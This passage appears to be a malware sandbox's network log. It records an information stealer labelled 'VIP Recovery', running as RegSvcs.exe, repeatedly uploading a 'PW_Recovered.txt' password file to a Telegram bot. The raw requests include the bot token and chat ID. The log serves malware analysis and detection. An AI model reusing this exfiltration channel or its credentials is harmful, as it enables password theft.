2024-09-19 10:24:08 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 37 35 65 30 39 37 31 39 36 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf75e097196acContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:08 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:08 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12817,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	61656	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:10 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf96e2d7c1904 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:10 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 36 65 32 64 37 63 31 39 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf96e2d7c1904Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:10 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:10 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12818,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	61658	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:12 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf87acb7f0612 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:12 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 38 37 61 63 62 37 66 30 36 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf87acb7f0612Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:12 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:12 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12819,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	61660	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:14 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf9f7d1a9f0d8 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:14 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 66 37 64 31 61 39 66 30 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcf9f7d1a9f0d8Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:14 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:14 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:14 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12820,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	61662	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:16 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf9041216e2b7 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:16 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 30 34 31 32 31 36 65 32 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcf9041216e2b7Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:17 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:17 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12822,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	61663	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:17 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcfc29d9a5caca Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:17 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 63 32 39 64 39 61 35 63 61 63 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcfc29d9a5cacaContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:18 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:17 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:18 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12823,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	61666	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:20 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcfe505b5a8452 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:20 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 65 35 30 35 62 35 61 38 34 35 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcfe505b5a8452Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:20 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:20 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:20 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12824,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	61667	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:21 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcf98f7b2e35ed Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:21 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 39 38 66 37 62 32 65 33 35 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: 